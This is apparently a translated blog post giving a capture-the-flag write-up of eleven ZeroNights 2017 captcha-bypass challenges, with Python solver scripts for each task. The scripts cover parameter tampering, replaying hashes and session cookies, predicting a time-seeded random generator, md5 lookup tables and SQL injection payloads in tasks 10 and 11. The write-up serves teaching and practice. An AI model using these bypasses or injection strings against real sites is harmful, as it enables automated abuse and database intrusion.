📜 ⬆️ ⬇️

Challenges with ZeroNights 2017: Become the king of captcha

This year, at the ZeroNights IB conference, SberTech's department for testing information security of applications offered ZeroNights participants to look for vulnerabilities in various captcha implementations. In total, we gave 11 examples with logical or program errors that allow solving many captchas in a short time. In each round, participants were required to “solve” 20 captchas in 10 seconds and at the same time gain the necessary percentage of correct answers.

We invite you to participate too. In the post we will post links to all the tasks created by fryday , and below them in the spoilers - write-up of the Liro participant with the correct answers.



To access the tasks you need to register on the site with the tasks. It will not take a lot of time - there are no confirmation letters, after entering your data, you can log in immediately.
')

Warm-up exercise: "Ciferka"


This task is intended to familiarize yourself with the interface. At the beginning of each task a brief description will be given, the total number of captchs, the required percentage of correctly entered captchas and the solution time, as well as the points earned. By the number of points you can roughly estimate the complexity of the task.



Task 2 : "A little bit greeky"




Decision
In this task, we are each invited to enter a “conscious” word. Quickly google - it turns out that these are the names of gods from Greek mythology. After entering several captchas and viewing the image code, we note that each time the number of the image changes:



It can be assumed that the number of pictures is limited. The page code contains directly links to the captchas themselves. We unload them with our hands - just 16 turned out.
We have a finite number of pictures with numbers from 1 to 16, where each number corresponds to the name of a particular character. Now it remains for each request to find the captcha number in the code of the page and send the necessary character corresponding to this number:

def chal2():    def load_captcha_images():        url = "http://captcha.cf/static/ciferki/{}.png"        for i in range(1, 16):            resp = requests.get(url.format(i))            with open('captcha1/{}.png'.format(i), 'wb') as f:                f.write(resp.content)    gods = 'Zeus Hera Aphrodite Apollo Ares Leto Athena Phobos Dionysus Hades Triton Hermes    Eos Poseidon Morpheus'    captcha_solutions = gods.split()     resp = s.post('http://captcha.cf/challenge/2/start', proxies=proxies)     resp = s.get('http://captcha.cf/challenge/2', proxies=proxies)     for i in range(50):        captcha_match = re.search(r'<img src="/static/ciferki/(\d+).png"/>', resp.text)        if not captcha_match:            print(resp.text)        captcha_num = int(captcha_match.group(1))        print('captcha_num:', captcha_num)        resp = s.post(            'http://captcha.cf/captcha',            data={'answer': captcha_solutions[captcha_num - 1]},            proxies=proxies) 


Task 3 : "One, two, three ..."




Decision
If you carefully read the task, you can notice one oddity - we need only 24% of the correct answers for successful completion. Remember this and continue our search.

In all the captcha of this assignment, we are asked to enter the result of summing up some numbers. After passing all the captchas, it becomes clear that only numbers from 1 to 4 are used in the summation.

Let's look through all possible combinations that may appear, based on our conjectures that the numbers above 4 are not used in total:

1 + 1 = 2
2 + 1 = 3
3 + 1 = 4
4 + 1 = 5
1 + 2 = 3
2 + 2 = 4
3 + 2 = 5
4 + 2 = 6
1 + 3 = 4
2 + 3 = 5
3 + 3 = 6
4 + 3 = 7
1 + 4 = 5
2 + 4 = 6
3 + 4 = 7
4 + 4 = 8

The most frequent result of the sum is 5, exactly 25% of all sums. The condition is 24% correct captchas, so if we set “5” as the answer for everyone, then we solve the problem:

 def chal3():   resp = s.post('http://captcha.cf/challenge/3/start', proxies=proxies)   for i in range(20):       resp = s.post('http://captcha.cf/captcha', data={'answer': 5}, proxies=proxies)   time.sleep(65) 


Task 4 : "We need to go deeper"




Decision
Look at the page code and see the obfuscated JavaScript there. Most likely, this code checks the correctness of the entered captcha. Check your theory with the Burp Suite:



In addition to the entered captcha, the “correct” parameter equal to 1 is also sent to the server. That is, you can trick the server by sending the same captcha value to it each time, while adding the correct parameter:

 <b>def</b> chal4():   resp = s.post('http://captcha.cf/challenge/4/start', proxies=proxies)   <b>for</b> i <b>in</b> range(20):       <b>print</b>(i)       s.post('http://captcha.cf/captcha', data={'answer': '0C8X4', 'correct': '1'}, allow_redirects=False, proxies=proxies) 


Task 5 : "Promzona"




Decision
Visual analysis of the captcha gives nothing, so we used the Burp Suite to analyze:



As it turned out, in addition to the response to the captcha, the “kod” parameter is also sent to the server, which is stored in the page code:



It is not hard to guess that the “kod” parameter is the md5 hash of the answer. Thus, we send the correct answer / kod pair to the server 20 times, and the task counts:

 def chal5(): resp = s.post('http://captcha.cf/challenge/5/start', proxies=proxies) for i in range(20): print(i) s.post('http://captcha.cf/captcha', data={'answer': '55', 'kod':'b53b3a3d6ab90ce0268229151c9bde11'}, allow_redirects=False, proxies=proxies) 


Task 6 : "Dispersion"




Decision
When entering a captcha, we noticed that the captcha length is always five characters, and it uses only capital letters and numbers. Looking through the code, we also see that the name of the captcha image is the md5 hash of its characters.



Analysis through Burp Suite shows that we need only the answer field, which is the answer to the captcha.



Things are easy, pull the necessary hash value out of the page code and restore the captcha value using it. However, the inverse function of hashing is difficult to compute, so let's go the other way. We will make a table of pairs of all possible caps (only capital letters and numbers, captcha is always 5 characters long) and the values ​​of md5 hashes from them; we will search for the required captcha value by hash:

 def chal6(): resp = s.post('http://captcha.cf/challenge/6/start') for i in range(20): m = re.search(r'static/regenbogen/(.*?)\.png', resp.text) hash_ = m.group(1) word = sh.grep(hash_, 'md5_tables/' + hash_[0] + '.md5').split(':')[1].strip() print(hash_, word) resp = s.post('http://captcha.cf/captcha', data={'answer': word}) 

To complete the task, it was necessary to write additional functions:

  • we generated all possible md5 hashes for 5-character responses consisting of capital letters and numbers;
  • To complete the task at a specified time, we sorted all the hashes by the first character. Those. we look at the first character of the captcha hash, open the necessary sorting block and search it only in this block.

 alphabet = string.ascii_lowercase + string.digits def gen_md5_table():   a = string.ascii_uppercase + string.digits   table = itertools.product(a, repeat=5)   f = open('md5_table', 'w')   for i in table:        s = hashlib.md5(bytes(''.join(i), 'ascii')).hexdigest() + ':' + ''.join(i)       print(s)       f.write(s + '\n')       f.close() <i># call gen_md5_table # in bash: sort md5_table > md5_sorted # in bash: mkdir md5_tables # call split_to_files</i> def split_to_files(): file_handlers = {} for a in alphabet:   file_handlers[a] = open('md5_tables/' + a +'.md5', 'w') with open('md5_sorted') as f:   for line in f:       file_handlers[line[0]].write(line) 


Task 7 : "Four rooms"




Decision
To our surprise, instead of incomprehensible, difficult to read characters, we see in the task a beautiful, absolutely clear picture:



Due to the readability of the picture, you can use optical character recognition technology. In python3, the pytesseract OCR module. I had to slightly correct the function by removing possible spaces from the readable text, which are not implied when entering a captcha.

 def chal7():   s.post('http://captcha.cf/challenge/7/start', proxies=proxies)   for i in range(1, 21):       resp = s.get('http://captcha.cf/captcha/image', proxies=proxies)       image_name = '/tmp/{}.png'.format(i)       with open(image_name, 'wb') as f:           f.write(resp.content)       text = pytesseract.image_to_string(Image.open(image_name), config='psm -7').replace(' ', '')       print('text:', text)       s.post('http://captcha.cf/captcha', data={'answer': text}, allow_redirects=False, proxies=proxies) 


Task 8 : "Strategic Explorations of Exoplanets and Disks with Subaru"




Decision
Before us seems to be the usual terrible captcha. Let's see the picture code:



The numbers are increasing, but no sequences are seen for entering captcha. After some deliberation it becomes clear: time corresponds to our conditions. This is a parameter that gradually increases, but the dependence does not lie on the surface here, since it is impossible to perform actions at ideally equal periods of time manually.

The number on the captcha is a modification of the time specified in the page code. One of the uses of time is to initialize a random number generator. We noticed that the captcha numbers were in the range from 10,000 to 100,000. These boundaries were set to generate random numbers.

 def chal8():   resp = s.post('http://captcha.cf/challenge/8/start', proxies=proxies)   for i in range(20):       m = re.search(r'/static/random/42_(\d+).png', resp.text)       r = m.group(1)       random.seed(int(r))       print('r:', r)       ans = random.randrange(10000,100000)       resp = s.post('http://captcha.cf/captcha', data={'answer': ans}, proxies=proxies) 


Assignment 9 : Watson




Decision
Let's start right away with Burp Suite:



This task is more complicated. In addition to the “answer” field, there is nothing, which means you need to look for a solution somewhere else. After some research, we came to the analysis of the sent cookie value. Note that their value is very similar to the information encoded in base64. Check it out:

The "captcha" field indicates that the validity of the captcha is confirmed using a cookie. That is, for a certain session and a certain “answer” field, our answer will always be considered correct:



 def chal9():   resp = s.post('http://captcha.cf/challenge/9/start', proxies=proxies)   for i in range(20):       cookies = {'session':'eyJjYXB0Y2hhIjoiZjhkYTJlYjY4ZmU2YmRjZmY4YTk1NzJiNjMxNGQ2YmMiLCJ1c2VybmFtZSI6ImRtaXRyeS5tYW50aXNAZ21haWwuY29tIn0.DO94IQ.gHUIa3tyIgQ-JdpQ-O0GwUerTSI'}       requests.post('http://captcha.cf/captcha', data={'answer': 'ICF4G'}, allow_redirects=False, proxies=proxies, cookies=cookies) 


Task 10 : “Medicine”




Decision
To successfully complete the task, you must run a SQL injection in the answer parameter. The query logic consists in comparing the captcha result from the captcha table from the database c of the captcha received from the user. Based on this, let's pass on the answer parameter:

 11111' union select result from sqli.captcha where id='<id_from_page_here>' -- 1 




We automate the process of operation:

 def chal10():   resp = s.post('http://captcha.cf/challenge/10/start')   for i in range(20):        m = re.search(r'name="id" value="(.*?)">', resp.text)        id_ = m.group(1)       print(id_)       data = {      'answer': "asdadsdsa' union select result from sqli.captcha where id='{}' — 1".format(id_),      'id': id_   }       resp = s.post('http://captcha.cf/captcha', data=data) 


Task 11 : "Poliklinika"




Decision
Sometimes task composers draw analogies between the names of the tasks themselves and ways to solve the problem. The medical theme worked in the past task. The name Poliklinika also prompts attempts to use SQL injections to solve a problem. To begin, our task will run through Burp:



Again we need two fields - “answer” and “id”. The second parameter can be obtained from the page code:



You can see that the SQL query logic is something like

SELECT id FROM captcha_table WHERE captcha = '$ captcha'

with further verification of the result with the id parameter of the request.
We change the logic of the request, giving in the parameter with the captcha anything 'or id =' id_parsed_from_page_body. Thanks to the logical OR, the request will be executed successfully and the received id from the database will match the id transmitted in the request.

Check by running an SQL injection on the captcha input:



The operation was successful, it remains only to automate the delivery of results.

 def chal11():   resp = s.post('http://captcha.cf/challenge/11/start', proxies=proxies)   for i in range(20):       m = re.search(r'name="id" value="(.*?)">', resp.text)       cid = m.group(1)      data = { 'answer': "asdadsdsa' or id='{}' -- 1".format(cid), 'id': cid}      resp = s.post('http://captcha.cf/captcha', data=data, proxies=proxies) 

Source: https://habr.com/ru/post/344816/


All Articles